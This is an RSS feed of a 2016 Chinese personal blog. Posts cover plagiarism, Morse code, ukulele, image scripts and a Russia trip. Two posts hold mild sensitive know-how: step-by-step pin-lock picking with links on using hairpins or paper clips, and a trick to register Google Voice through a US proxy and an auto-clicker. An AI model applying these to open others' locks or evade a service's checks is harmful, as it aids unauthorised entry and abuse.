rss.xml

<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title><![CDATA[双人份 Blog]]></title>
  
  <link href="/rss.xml" rel="self"/>
  <link href="http://doubles.me/"/>
  <updated>2016-09-26T20:59:02.000Z</updated>
  <id>http://doubles.me/</id>
  
  <author>
    <name><![CDATA[双人份]]></name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title><![CDATA[博客居然被抄袭了]]></title>
    <link href="http://doubles.me/2016/07/12/160712/"/>
    <id>http://doubles.me/2016/07/12/160712/</id>
    <published>2016-07-12T13:38:27.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>看图，我3年前的一篇关于Cocos2d-Html5的文章居然被这个博客转载了。<br>这本来没什么，可是他的Github里只有一个经常提交的Spider，然后博客里有300篇文章。<br>却全部是转载的，这这行为很讨厌啊。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/201607126.png" alt="2016/07/201607126.png"><br><a id="more"></a><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/201607124.png" alt="2016/07/201607124.png"><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/201607125.png" alt="2016/07/201607125.png"></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>看图，我3年前的一篇关于Cocos2d-Html5的文章居然被这个博客转载了。<br>这本来没什么，可是他的Github里只有一个经常提交的Spider，然后博客里有300篇文章。<br>却全部是转载的，这这行为很讨厌啊。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/201607126.png" alt="2016/07/201607126.png"><br>]]>
    
    </summary>
    
  </entry>
  
  <entry>
    <title><![CDATA[注册 Google Voice 最佳姿势 Textnow + 按键精灵]]></title>
    <link href="http://doubles.me/2016/07/10/160710/"/>
    <id>http://doubles.me/2016/07/10/160710/</id>
    <published>2016-07-10T18:53:36.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>先挂上一个美国代理，我百度找的免费试用的那种。<br>然后下载一个Textnow，app里面设置一下取消接收voicemail，这样才能输入验证码。<br>接着就用按键精灵狂点。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/20170710.png" alt="20170710.png"><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/20160711.png" alt="2016/07/20160711.png"></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>先挂上一个美国代理，我百度找的免费试用的那种。<br>然后下载一个Textnow，app里面设置一下取消接收voicemail，这样才能输入验证码。<br>接着就用按键精灵狂点。</p>
<p><img src="http://7xnueu.com1.z0.glb.clou]]>
    </summary>
    
  </entry>
  
  <entry>
    <title><![CDATA[5分钟从入门到放弃 - 开锁]]></title>
    <link href="http://doubles.me/2016/07/08/160708/"/>
    <id>http://doubles.me/2016/07/08/160708/</id>
    <published>2016-07-08T04:50:49.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>我ebay上买的locksmith到了，算算也是上个月到的，一直没有试。拿起来无师自通了。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/2016070701.png" alt="2016/07/2016070701.png"><br><a id="more"></a></p>
<p>这个套件包括1个透明的训练锁，然后一套开锁的。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/IMG_20160708_063954.jpg" alt="2016/07/IMG_20160708_063954.jpg"></p>
<p>教程请看这个<a href="http://zh.wikihow.com/%E5%BC%80%E9%94%81" target="_blank" rel="external"><strong>WikiHow - 如何开锁</strong></a>，比较好理解。</p>
<p>其实这个可以自己用铁丝做，但是刚入门没感觉还是买这个训练的比较好。<br><a href="http://zh.wikihow.com/%E7%94%A8%E4%B8%80%E6%9E%9A%E5%8F%91%E5%8D%A1%E5%BC%80%E9%94%81" target="_blank" rel="external"><strong>WikiHow - 如何用一枚发卡开锁</strong></a><br><a href="http://zh.wikihow.com/%E7%94%A8%E5%9B%9E%E5%BD%A2%E9%92%88%E6%92%AC%E9%94%81" target="_blank" rel="external"><strong>WikiHow - 如何用回形针撬锁</strong></a></p>
<p>首先注意看里面的卡子，没有对到相应的位置所以打不开。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/IMG_20160708_064147.jpg" alt="2016/07/IMG_20160708_064147.jpg"></p>
<p>然后插入扭棍，我也不知道这个的中文名字，是我自己翻译的。用手指推它。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/IMG_20160708_064255.jpg" alt="2016/07/IMG_20160708_064255.jpg"></p>
<p>接着拨那个卡子，一直抽动就可以了。我选择了4号的撬棍，比较合适这个锁头。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/IMG_20160708_064340.jpg" alt="2016/07/IMG_20160708_064340.jpg"></p>
<p>对齐了里面的卡子后就可以听到噶哒一下<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/IMG_20160708_064242.jpg" alt="2016/07/IMG_20160708_064242.jpg"></p>
<p>最后打开是这样子的。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/IMG_20160708_064310.jpg" alt="2016/07/IMG_20160708_064310.jpg"></p>
<p>下面是开锁视频。</p>
<embed src="http://player.youku.com/player.php/sid/XMTYzNTYzOTkwMA==/v.swf" allowfullscreen="true" quality="high" width="600" height="480" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash">

<p>还有一种做飞机片的开锁方式,我初中就会了，只是一般家里的锁都会锈到，导致无法成功。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/2016070702.png" alt="2016/07/2016070702.png"></p>
<p>开启方法可以看我共享资料里面的那个英文PDF。2种方法都介绍了，同时还介绍了原理和工具，老外讲这些东西还是比较详细的。<br>下次更新实战部分，这种锁真的不好找了现在。<br><a href="http://pan.baidu.com/s/1bpmfCkv" target="_blank" rel="external"><strong>开锁资料下载地址</strong></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>我ebay上买的locksmith到了，算算也是上个月到的，一直没有试。拿起来无师自通了。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/2016070701.png" alt="2016/07/2016070701.png"><br>]]>
    
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[如何处理博客图片]]></title>
    <link href="http://doubles.me/2016/07/04/160704/"/>
    <id>http://doubles.me/2016/07/04/160704/</id>
    <published>2016-07-04T04:01:08.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h2 id="0x00-图片压缩"><a href="#0x00-图片压缩" class="headerlink" title="0x00 图片压缩"></a>0x00 图片压缩</h2><p>由于不放心自动压缩后上传，所以使用这个脚本压缩一下图片。检查后再上传图片。<br>使用的是Tinypng 这个网站的API，需要在线申请一个Key，然后每个月可以压缩500张图片。<br>接着使用这个repo 的python 脚本 <a href="https://github.com/GcsSloop/TinyPng" target="_blank" rel="external">TinyPng</a>。<br><code>python tinypng.py -d test</code><br>这样就压缩了test目录下的所有图片。<br><a id="more"></a></p>
<h2 id="0x01-图片上传"><a href="#0x01-图片上传" class="headerlink" title="0x01 图片上传"></a>0x01 图片上传</h2><p>博客的图床用的是七牛的空间，使用了一个叫做 <a href="https://github.com/heqingpan/qiniu_sync" target="_blank" rel="external">qiniu_sync</a>的python脚本上传。<br>不过我给改造了一下，上传完成后会生成一个txt，里面就是上传图片的地址了。<br>我repo的 <a href="https://github.com/DoubleShift/qiniu_sync" target="_blank" rel="external">qiniu_sync</a></p>
<p>图片放到这里，然后运行脚本就可以了。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/07/20160705.png" alt="20160705.png"></p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="0x00-图片压缩"><a href="#0x00-图片压缩" class="headerlink" title="0x00 图片压缩"></a>0x00 图片压缩</h2><p>由于不放心自动压缩后上传，所以使用这个脚本压缩一下图片。检查后再上传图片。<br>使用的是Tinypng 这个网站的API，需要在线申请一个Key，然后每个月可以压缩500张图片。<br>接着使用这个repo 的python 脚本 <a href="https://github.com/GcsSloop/TinyPng">TinyPng</a>。<br><code>python tinypng.py -d test</code><br>这样就压缩了test目录下的所有图片。<br>]]>
    
    </summary>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[30分钟从入门到放弃 - 摩斯码]]></title>
    <link href="http://doubles.me/2016/06/23/160623/"/>
    <id>http://doubles.me/2016/06/23/160623/</id>
    <published>2016-06-23T20:56:03.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>一直觉得很神秘的摩斯码，花了30分钟学习了一下。以后看电影就可以听懂他们的摩斯码了。<br>摩尔斯码通常的格式是字母和字母之间以空格隔开，单词和单词之间以“/”隔开。</p>
<a id="more"></a>
<p>正规的摩尔斯码对照表是这样：<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/7e5d4dfca_b.jpg" alt=""> </p>
<p>然而26个字母有一张更简单的图：</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/8dd729969_b.jpg" alt=""> </p>
<p>其实并不好记，最后发现最简单的就是这一个。</p>
<p>哒是左边，滴是右边， <strong>T</strong> 就是 <strong>哒</strong>， <strong>M</strong> 就是 <strong>哒哒</strong> ，<strong>S</strong> 就是 <strong>嘀哒哒</strong>。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/74c7f87e6014cb4fcf8cbcd0a3f3723c.jpg" alt=""> </p>
<p>首先背一下这个2叉树，然后默写下来。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/101.jpg" alt=""> </p>
<p>我是这样记的，头2层看一下就记住了。第3层是LOL中的OG战队，然后有几个孩神，id为kid，WD是 west 和 road的缩写。这样就记住了，位置一定要对好来。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/102.jpg" alt=""> </p>
<p>最后数字实在是太好记了，看一下就能记住。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/103.jpg" alt=""> </p>
]]></content>
    <summary type="html">
    <![CDATA[<p>一直觉得很神秘的摩斯码，花了30分钟学习了一下。以后看电影就可以听懂他们的摩斯码了。<br>摩尔斯码通常的格式是字母和字母之间以空格隔开，单词和单词之间以“/”隔开。</p>]]>
    
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[2小时从入门到放弃 - 尤里克克]]></title>
    <link href="http://doubles.me/2016/06/21/160621/"/>
    <id>http://doubles.me/2016/06/21/160621/</id>
    <published>2016-06-21T17:20:03.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>这是小情歌的伴奏部分，按照这个谱子来就行了。<br>当然一不小心会弹出“ 天不刮风，天不下雨 ” 的调调。<br><a id="more"></a></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/IMG_20160626_173728.jpg" alt="IMG_20160626_173728.jpg"></p>
<embed src="http://player.youku.com/player.php/sid/XMTYyMTE5NzU0OA==/v.swf" allowfullscreen="true" quality="high" width="600" height="480" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash">


]]></content>
    <summary type="html">
    <![CDATA[<p>这是小情歌的伴奏部分，按照这个谱子来就行了。<br>当然一不小心会弹出“ 天不刮风，天不下雨 ” 的调调。<br>]]>
    
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[胖屌进城 - Open Your Russia]]></title>
    <link href="http://doubles.me/2016/06/15/160615/"/>
    <id>http://doubles.me/2016/06/15/160615/</id>
    <published>2016-06-15T06:17:03.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h1 id="0x01-引言"><a href="#0x01-引言" class="headerlink" title="0x01 引言"></a>0x01 引言</h1><p>2014年的12月我就应该去俄罗斯了，虽然哪些交换生都说是免签的，但我还是担心我的中国护照和他们不一样，我只能作罢。然后我查到了是乘坐Viking Line 去ST. PeterSburge可以有3天免签，我才把俄罗斯放入行程中。确切的说是我2016年的年度计划。然后选了一个月黑风高的好日子，我找了一个俄罗斯当地的学生导游团。啊哈哈，想不到吧。一直讨厌跟团的我居然选择了一个导游。这也是经过我深思熟虑的结果。听说老毛子的假警察，小偷又多，还不会英文。最重要的是，我怎么打俄语？给你们来一张俄罗斯的地铁图体验一下 </p>
<p>每次看到俄语的宣传单我都会反过来看一下。然而这也是让这次旅行变得更为美妙的一个决定。</p>
<a id="more"></a>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/russiametro.png" alt=""> </p>
<h1 id="0x02-Helsinki"><a href="#0x02-Helsinki" class="headerlink" title="0x02 Helsinki"></a>0x02 Helsinki</h1><p>6月3号坐着大飞机飞到Helsinki，机场发现几个变化。一个是多了一个中文服务台，叫做Hello 我帮您。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/00.jpg" alt=""><br>我一看到这个就不禁感慨到，这到底是有多少游客？（不然你以为呢？）答： 130W。 好吧，这个数字是去年签证的数量。这穷乡僻壤的芬兰居然会有这么多人来？踏青还是农家乐？<br>然后机场也不像以前了，全部是广告了。不光有一个中国的无人机展厅，还有一个惠普的笔记本广告。只要猜对了密码，就可以拿到一个价值499欧的耳机。破密码这工作简直拿手。 然后尝试了无数简单的组合；机场所有hp打印机，热点的随机编号；笔记本型号；价格；惠普所有的电话；都失败了。然后工作人员给了一张纸，先注册，然后订阅后会发送一个4位数的密码到邮箱。凭借这个4位数到现场测试，看是否中奖。我崩溃了。。。脑补一下写这个的程序员当时的思路一定是“活动的最后一天才能出奖品啊！那我加个if好了。”<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/0.jpg" alt=""><br>赫尔辛基大街上又遇到了游行，似乎是童子军。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/1.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/2.jpg" alt=""><br>我们好容易到了6点，开船咯！虽然我们并没有付钱，可是船票和住宿已经给我们了，我们下船再给现金他们。这边很多这样的，放到中国铁定死翘翘了。也就俺们村里人这么质朴。这是我第3次坐船了。不对，是大油轮，是玛丽公主号大游轮。对于我这穷逼就是船啊！！！虽然船上的东西免税，可是我能买什么？倒是那个中Nokia的娃娃机吃掉了我好多钱。<br>上船之前会拿到3张卡，Boarding Card, Departure Card , Arrive Card. 正面有信息就不给看了。Boarding Card上船下船都要用，其它就是给俄罗斯海关的。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/46.jpg" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/3.jpg" alt=""><br>好多甲板上看风景的人，也好多中国大妈啊。另一侧被中国旅行团占领了，所以没有过去。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/5.jpg" alt=""><br>注意看这个小家伙<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/4.jpg" alt=""><br>它盯着它，看它自由的飞翔。。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/7.jpg" alt=""><br>MLGB，真的是飞翔？<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/8.jpg" alt=""><br>不过意外的是我拍到了这个美景。海上的落日夕阳。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/9.jpg" alt=""><br>然后就回去睡觉咯！<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/10.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/6.jpg" alt=""></p>
<h1 id="0x03-ST-Petersburg"><a href="#0x03-ST-Petersburg" class="headerlink" title="0x03 ST. Petersburg"></a>0x03 ST. Petersburg</h1><p>到了圣彼得堡，等到我们的P导，就带我们去10欧住2天，却非常市中心的青旅。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/55.jpg" alt=""><br>至于为什么叫P导，肯定不是因为她叫Peter，也不是因为这里是Petersburg。那你猜猜为什么叫P导？<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/54.jpg" alt=""></p>
<p>我们在涅瓦大街逛了逛，8车道啊，朋友们。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/36.jpg" alt=""></p>
<p>比较有趣的是这个广告。外国人打折，什么外国人看得懂中文？不禁让人陷入了深思。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/34.jpg" alt=""></p>
<p>这里是著名的圈楼，本来打算买点手表什么的土特产，进去觉得很像老上海的那个百货。<br>价格也不便宜，转转就出来了。出来看到这样的路就又进去，转到大马路才出来。毕竟晚上的18禁酒吧全在这条路。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/35.jpg" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/13.jpg" alt=""></p>
<p>P导说的历史我一点也没有记住，大概是什么军队守了这里很久了。<br><strong> 圣以撒大教堂 St. Isaac’s Cathedral Исаакиевский собор </strong><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/11.jpg" alt=""></p>
<p>我们花了150RUB上到观景台。我也很惊奇的是欧盟的学生证在这里可以使用。<br>在这个观景台上面可以看到东莞，哦不对，冬宫。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/12.jpg" alt=""></p>
<p><strong> 冬宫广场 - 亚历山大圆柱 </strong><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/15.jpg" alt=""></p>
<p>这个博物馆和伦敦的大英博物馆、巴黎的卢浮宫、纽约的大都会艺术博物馆称为世界四大博物馆。<br><strong>艾尔米塔什博物馆</strong><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/16.jpg" alt=""></p>
<p>想不到的这种博物馆居然都是免费的，卢浮宫也是免费的。震惊！！！ 由于我也没有什么艺术细菌，里面逛了1小时就出来。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/17.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/18.jpg" alt=""><br>在2楼发现很多景德镇的瓷器，哈哈和队友说说这是来自我hometown的就出去了。</p>
<p>出来就到涅瓦河，可惜我们没有时间看这里的开桥。<br><strong>涅瓦河</strong><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/14.jpg" alt=""></p>
<p>在我们看了<strong>喀山大教堂</strong>后，就不太想进去。毕竟看了太多的教堂，而且还收费，也不能拍照，也不能穿短裤，女生还要包着头。<br>然后证明我们没有进去是错误的，都说里面太神奇了。好吧，一点也不觉得可惜。<br><strong> 救世主滴血教堂 Church of the Savior on Spilled Blood Xрам Спас На Крови </strong><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/56.jpg" alt="救世主滴血教堂"></p>
<p>坐地铁转公交去皇村，地铁站居然也是这里的景点。<br>35RUB买了个游戏币我就上车了。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/31.jpg" alt=""></p>
<p>没记错的话这个应该是<br><strong>普希金地铁站</strong><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/21.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/23.jpg" alt=""></p>
<p>这是另一个车站，哥伦布。。。。我瞎讲的。<br>历史真的记不住。如果墙上写满π，可能我记得位数会更多一点吧。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/22.jpg" alt=""></p>
<p>由于中国旅行团实在是太多了，所以没怎么拍照片，没有北欧的精致。<br><strong>皇村Царское Село</strong><br>总是能看到这种性感的PP，好幸福。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/24.jpg" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/25.jpg" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/26.jpg" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/27.jpg" alt=""></p>
<p>想起了小时候看过的一个台湾电视剧《汪洋中的一条船》。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/28.jpg" alt=""></p>
<p>到处可以看到这个提醒，小偷多。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/29.jpg" alt=""></p>
<p>似乎所有<strong>宫</strong>，<strong>园</strong>都有这种的路啊。文艺青年要呆1天了。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/30.jpg" alt=""></p>
<p>有人在拍电视剧，他们都是张嘴不出声的，也不知道是不是哪个大明星。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/37.jpg" alt=""></p>
<p>这里又是偷硬币，我真的认为这个投硬币活动是全球人民都喜欢的活动。用硬币丢这只兔子的JJ，丢中了你就好运。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/38.jpg" alt=""></p>
<p>然后就去打炮了。马上更新<strong> 炮图 </strong>。路上看到了很多朝鲜农民打扮的人。都是传统服饰？（不带恶意啊，我也不知道怎么形容，高原红？）<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/40.jpg" alt=""></p>
<p>这里是彼得要塞，哄的一声就打了一炮。P导说这是俄罗斯人民的计时方式！俄罗斯人民的计时方式！俄罗斯人民的计时方式！<br>每天正午12点就会打一炮，这样人们就可以对表了。现在不需要这种对时方式，但是~~ 成功发展了旅游业。~~ 成为了传统就保留了下来。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/41.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/42.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/a.gif" alt=""></p>
<embed src="http://player.youku.com/player.php/sid/XMTYxOTk1ODEwOA==/v.swf" allowfullscreen="true" quality="high" width="480" height="400" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash">

<p>这是在游船上看到的彼得要塞。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/19.jpg" alt=""></p>
<p>注意看天上的直升机，P导说这个是观光机，大概60欧一个人。我的天，有直升机坐我还坐什么游船啊。<br>哪怕这个船比芬兰公交还便宜。芬兰公交是3.3欧一趟，来回是 6.6 ，这个游轮来回5欧。。。<br>果断央求P导带我们去，然后P导查过后说这个必须提前1周预定。好吧，太多人坐了。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/39.jpg" alt=""></p>
<p>这里是某个微缩景点，微缩了整个俄罗斯的著名景点。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/43.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/44.jpg" alt=""></p>
<h1 id="0x04-食物"><a href="#0x04-食物" class="headerlink" title="0x04 食物"></a>0x04 食物</h1><p>越往西北走越没有美食。北欧的食物让人绝望，俄罗斯的确实还不错。可惜这次P导带的都是学生团，吃的大概都是200RUB一顿饭的。<br>芬兰学生的补贴是2.6欧，在这里大街上能吃到20RMB的饭也确实让人感动。主要吃的是煎饼果子，馅饼，罗宋汤等。<br>这个馅饼真的是很错啊，里面有ham + cheese， 当然会有几十种让你选。最好吃的就是我吃的cheese + ham。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/60.jpg" alt=""><br>我还点了一个瓦罐汤，南昌的瓦罐汤。啊哈哈。当然并不好吃，里面是不怎么样的牛肉。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/78.jpg" alt=""></p>
<p>这个罗宋汤啊就是红菜头，虽然看起来没食欲，不过还挺好吃。特别是会给你一个酸奶油放进去。没有经验的会用馅饼沾着吃掉吧。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/77.jpg" alt=""></p>
<p>为了吃这个煎饼果子啊，我专门又来吃一次。看看他们摊煎饼的样子，这个是有黄油和牛奶的，超级棒。就是里面放土豆泥的有点逆天。不过都很好吃。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/66.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/67.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/68.jpg" alt=""></p>
<p>刀叉实在没办法吃这个，自创了一个Take Away 煎饼果子。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/69.jpg" alt=""></p>
<p>我们找到一个KFC，我的天啊，在欧洲呆了1年半，没有吃过KFC。迫不急待的进去买新奥尔良烤翅。<br>好吧，没有。这真的是国内专有的？不过翅桶的价格很感人。 这么多只要 49块RMB。。。由于吃的KFC确实不多，国内都是吃德克士和华莱士的。一个好吃，一个便宜。所以只记得我3年纪吃的时候是39块5。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/70.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/61.jpg" alt=""></p>
<p>最后一天实在不能忍了。这里可以合法吃熊肉的啊！虽然买过熊肉罐头，不好吃。虽然塔林也有，太贵了。然后约P导带我们来吃熊肉。P导居然非常震惊，吃熊肉。我立马解释道，吃打猎的熊肉，并不是吃你们的宠物熊肉。P导还是很吃惊，她说从来没吃过，但是她去打过猎，没看到熊。。。。。P导给我们一查，750RUB一个菜，天啊，去去去！！！青旅的学中文特别差劲的大叔说那非常贵啊，我也不知道具体是多贵。把我们吓死了都，可是为了和P导单独相处，还是去了。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/62.jpg" alt=""><br>整个餐馆只有2桌客人。明显是非富则贵的大商人啊。这我都犹豫了要不要坐下来。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/63.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/64.jpg" alt=""></p>
<p>不能怂，看完菜单后60欧100G熊肉。真的是贵。不过从北欧来的并没有被吓到。最后点了一个熊肉，一个袍子肉。袍子肉我是吃过的，可惜家里做的不怎么好吃啊。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/72.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/73.jpg" alt=""><br>等厨师烤好来，这黑不啦机的就是熊肉了。吃起来也没感觉到明显的不同，比较硬，似乎有点酸，但是炭火烤的吃不出来。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/74.jpeg" alt=""><br>这个是狍子肉，超级好吃，特别是配上这个酱。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/75.jpeg" alt=""></p>
<p>肯定吃不饱的，我们就点了一个便宜的主食咯，我来了一个猪排。10欧啊，超级便宜。不过很明显的不如芬兰的好吃。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/65.jpg" alt=""></p>
<p>最后给你们看看可爱的P导，简直想娶她当老婆。由于是我们请客，对她来说太贵了，所以她只吃了个煎饼果子。因为我穿的是短袖，想不到这里会比我们北方还冷，P导一路上还一直问我冷不冷。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/71.jpg" alt=""></p>
<p>吃饭的时候，给P导讨论了一下关于战斗民族的。把这张图给她看了下，问她能不能，她说 “搬不了那么大的”。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/91.jpg" alt=""><br>OMG！娶娶娶，以后不用我抗煤气罐了。<br>然而更震惊的是，<strong><em>俄罗斯学生宿舍2欧一个月</em></strong>。“社会主义就是好啊！！！”</p>
<p>结账的时候比较尴尬，这顿饭吃了8000RUB，然后小伙伴的信用卡不能刷啊。这都能在圣彼得堡买一套房的信用卡不能刷。（地铁上的广告看到大概30W能买一个公寓，哪里的公寓就不清楚了。）天啊，然后好歹用了我芬兰的信用卡，就是不知道这个手续费要多少了。这芬兰的信用卡一般都不能刷的这次也是奇怪了。</p>
<h1 id="0x05-回城"><a href="#0x05-回城" class="headerlink" title="0x05 回城"></a>0x05 回城</h1><p>OK，就这样结束了这次俄罗斯的旅行。全程不会忘记的就是P导的小PP。啊哈哈， 真的想娶她当老婆。P导给我们发了个小礼物，拍了个照片就吃掉了。好吧，全部吐掉了，劣质食品，万恶的公司。上面的字是我的俄罗斯名字。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/90.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/45.jpg" alt=""></p>
<p>最后更新一个在码头看到的宣传片。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/79.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/80.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/81.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/83.jpg" alt=""><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/06/84.jpg" alt=""></p>
]]></content>
    <summary type="html">
